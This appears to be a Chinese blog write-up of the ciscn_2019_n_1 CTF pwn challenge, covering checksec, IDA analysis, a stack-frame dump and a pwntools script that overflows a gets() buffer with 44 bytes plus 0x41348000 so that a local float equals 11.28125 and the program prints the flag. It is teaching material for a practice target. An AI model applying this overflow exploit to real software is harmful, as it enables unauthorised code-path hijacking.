ciscn_2019_n_1 1(栈溢出,变量覆盖)
题目

做法
开虚拟机,扔进去checksec

64位,还是没有开栈保护
扔进IDA(64位),找到main,F5反编译

都点一下,感觉没啥东西
然后我们点到func的时候

我们看到了熟悉的gets函数还有system("cat /flag")
这里,我们对这个程序进行栈溢出,在v1到v2间塞入字节数据,然后让v2=11.28125,我们就可以得到flag
我们点进gets函数括号中的v1,v1对应的是var_30,v2对应var_4
完整代码如下
-0000000000000030 ; D/A/* : change type (data/ascii/array)
-0000000000000030 ; N : rename
-0000000000000030 ; U : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 var_30 db ?
-000000000000002F db ? ; undefined
-000000000000002E db ? ; undefined
-000000000000002D db ? ; undefined
-000000000000002C db ? ; undefined
-000000000000002B db ? ; undefined
-000000000000002A db ? ; undefined
-0000000000000029 db ? ; undefined
-0000000000000028 db ? ; undefined
-0000000000000027 db ? ; undefined
-0000000000000026 db ? ; undefined
-0000000000000025 db ? ; undefined
-0000000000000024 db ? ; undefined
-0000000000000023 db ? ; undefined
-0000000000000022 db ? ; undefined
-0000000000000021 db ? ; undefined
-0000000000000020 db ? ; undefined
-000000000000001F db ? ; undefined
-000000000000001E db ? ; undefined
-000000000000001D db ? ; undefined
-000000000000001C db ? ; undefined
-000000000000001B db ? ; undefined
-000000000000001A db ? ; undefined
-0000000000000019 db ? ; undefined
-0000000000000018 db ? ; undefined
-0000000000000017 db ? ; undefined
-0000000000000016 db ? ; undefined
-0000000000000015 db ? ; undefined
-0000000000000014 db ? ; undefined
-0000000000000013 db ? ; undefined
-0000000000000012 db ? ; undefined
-0000000000000011 db ? ; undefined
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
v1到v2的大小为3*16-4=44,这就是我们要输入的字节数据大小
(补充:db是1个字节,dd是4个字节,dq是8个字节)
然后我们找一个可以把浮点数换成16进制数的网址(要统一进制)
这里给出一个网址(是否有病毒等风险自辨,资源来自互联网)
链接: 进制转换网址
我们把11.28125换成16进制数,即是41348000(注意去掉数字间的空格)

我们编写exp

代码如下
#导入pwntools模块:
from pwn import *
#和靶机进行连接:
r = remote("node5.buuoj.cn",26405)
#定义 payload
payload = b'a' * 44+ p64(0x41348000)
#发送payload
r.sendline(payload)
#获取靶机交互式终端:
r.interactive()
然后常规,得出flag

更新
于2025.4.7

浙公网安备 33010602011771号